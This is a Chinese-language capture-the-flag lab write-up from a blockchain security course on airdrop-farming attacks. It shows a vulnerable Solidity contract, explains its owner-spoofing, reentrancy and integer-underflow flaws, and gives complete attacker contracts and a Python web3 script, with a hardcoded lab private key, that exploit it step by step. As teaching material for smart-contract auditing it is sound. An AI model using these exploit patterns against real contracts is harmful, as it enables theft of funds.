某60区块链安全之薅羊毛攻击实战二学习记录

本文介绍: 通过本课程的学习，让学员理解区块链安全的概念和常见漏洞类型；掌握审计区块链安全所需的各种预备知识，包括公链安全基础、智能合约安全基础、智能合约漏洞基础、智能合约高级漏洞进阶知识和相关操作等。熟悉区块链公链、以太坊架构、关键技术、智能合约编写、智能合约常见漏洞知识；掌握区块链公链漏洞、以太坊智能合约审计、漏洞挖掘与利用等重要技能。通过完成实验，让学员能循序渐进地领会区块链以太坊智能合约漏洞挖掘所需的各种知识，掌握审计及挖掘以太坊智能合约漏洞的必备技能，提升学员的综合审计及挖掘漏洞实践能力。

薅羊毛攻击 实战二

实验目的

学会使用 python3的web3模块
 学会分析以太坊智能合约复杂场景下薅羊毛攻击漏洞及其利用
找到合约漏洞进行分析并形成利用

实验 原理

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见，只要是有空投函数的合约都能够进行薅羊毛。
一般实际场景比较复杂，所以需综合利用各个漏洞与薅羊毛攻击。

实验 内容

合约中内置了多种漏洞和潜在的薅羊毛攻击问题，找到合约漏洞并形成利用，把合约中的flag 变量设置为true 即可
使用python3的web3模块远程利用漏洞并获取 flag
实验地址为nc ip 10010

薅羊毛攻击实战二实验 步骤

获取合约地址和合约源代码
 nc ip 10010连接到题目，输入1，获取部署合约的g a m e account及token
在这里插入图片描述

打开 http://ip，输入上述分配的g a m e account，点击Reque s t 获取 eth
在这里插入图片描述

nc ip 10010连接到题目，输入2，获取部署合约的地址及new token
在这里插入图片描述

nc ip 10010连接到题目，输入4，获取合约源代码，或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞

pragma solidity ^0.4.23;

interface Changing {
    function isOwner(address) view public returns (bool);
}

contract ETH10 {

    address private owner;

    mapping(address =&gt; uint) public balanceOf;
    mapping(address =&gt; bool) public status;
    mapping(address =&gt; uint) public buyTimes;
    bool public flag;

    constructor() payable {
        owner = msg.sender;
    }

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

    function payforflag() onlyOwner public {
        require(buyTimes[msg.sender] &gt;= 100);
        flag = true;
    }

    function change(address _owner) public {
        Changing tmp = Changing(msg.sender);
        if(!tmp.isOwner(_owner)){
            status[msg.sender] = tmp.isOwner(_owner);
        }
    }

    function change_Owner() public {
        require(tx.origin != msg.sender);
        if(status[msg.sender] == true){
            status[msg.sender] = false;
            owner = msg.sender;
        }
    }

    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != address(0x0));
        require(_value > 0);

        uint256 oldFromBalance = balanceOf[_from];
        uint256 oldToBalance = balanceOf[_to];

        uint256 newFromBalance =  balanceOf[_from] - _value;
        uint256 newToBalance =  balanceOf[_to] + _value;

        require(oldFromBalance >= _value);
        require(newToBalance > oldToBalance);

        balanceOf[_from] = newFromBalance;
        balanceOf[_to] = newToBalance;

        assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        _transfer(msg.sender, _to, _value); 
        return true;
    }

    function buy() payable public returns (bool success){
        require(tx.origin != msg.sender);
        require(buyTimes[msg.sender]==0);
        require(balanceOf[msg.sender]==0);
        balanceOf[msg.sender] = 100;
        buyTimes[msg.sender] = 1;
        return true;
    }

    function sell(uint256 _amount) public returns (bool success){
        require(_amount >= 100);
        require(buyTimes[msg.sender] > 0);
        require(balanceOf[msg.sender] >= _amount);
        require(address(this).balance >= _amount);
        msg.sender.call.value(_amount)();
        _transfer(msg.sender, address(this), _amount);
        buyTimes[msg.sender] -= 1;
        return true;
    }

    function eth_balance() public view returns (uint256 ethBalance){
        return address(this).balance;
    }

}

题目要求将合约中的flag 变量设置为true
查看 payforflag ，我们需要成为 owner ，同时 buyTimes[msg.sender] >= 100
想要成为 owner ，可以通过 change_owner 函数实现：status[msg.sender] 要求为 true ，可以通过 change(address _owner) 解决，Changing 接口中声明了 isOwner 函数，用户可自行编写，要使 status[msg.sender] = true ，则 tmp.isOwner(_owner) 第一次调用需返回 false ，第二次调用返回 true ，所以就有了思路：设置一个初始值为 true 的变量，每次调用 isOwner()时，将其取反再返回。这样便满足了我们是 owner ，只需再满足 buyTimes[msg.sender] >= 100
发现只有 sell 函数，会有 buyTimes[msg.sender] -= 1 的操作，其实这是重入问题，这里需要满足 require(_amount >= 200) ，但是 buy 只能给 100 ，典型的薅羊毛问题，最后再利用整数下溢即可满足 buyTimes[msg.sender] >= 100

EXP利用

编写攻击合约attack1.sol和attack2.sol，将下述attack1和attack2合约中的ETH10地址替换成自己题目合约的地址，其中attack1合约主要包括四个功能：h ack1函数用于成为owner和申领空投；h ack2函数用于薅羊毛提高balanceOf[attac k1]；h ac k3函数用于利用2次重入触发整数溢出漏洞，使得buyTimes[msg.sender]=0-1变成一个很大的数，从而满足payforflag中buyTimes[msg.sender] >= 100的条件；h ac k4函数用于调用payforflag函数，设置 flag为true

contract attack1 {
    ETH10 target = ETH10(0x6D95dE7EC9Ca2276AE8ed81454bc5519a37382Ac);
    bool public flag = true;
    uint public have_sell = 0;

    function isOwner(address) public returns (bool){
        flag = !flag;
        return flag;
    }

    function hack1() public {
        target.change(address(this));

        target.change_Owner();

        target.buy();
    }

    function hack2() public {
        new attack2(address(this));
    }

    function hack3() public {
        target.sell(100);
    }

    function hack4() public {
        target.payforflag();
    }

    function() payable public {
        if (have_sell < 1) {
            have_sell += 1;
            target.sell(100);
        }
    }
}

contract attack2 {
    ETH10 target = ETH10(0x6D95dE7EC9Ca2276AE8ed81454bc5519a37382Ac);

    constructor(address addr) public {
        target.buy();
        target.transfer(addr,100);
    }
}

编写 python3自动化脚本，将上述攻击合约部署，然后按照上述步骤分别执行即可

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x94829A097f920307e33452a5c64AabE51f4fF976"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:attack1']

# deploy attack1 in attack.sol
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

time.sleep(5)

# call hack1() in attack1
data = Web3.keccak(text='hack1()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call hack1() success")

time.sleep(5)

# call hack2() in attack1
data = Web3.keccak(text='hack2()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call hack2() success")

time.sleep(5)

# call hack3() in attack1
data = Web3.keccak(text='hack3()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call hack3() success")

time.sleep(5)

# call hack4() in attack1
data = Web3.keccak(text='hack4()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call hack4() success")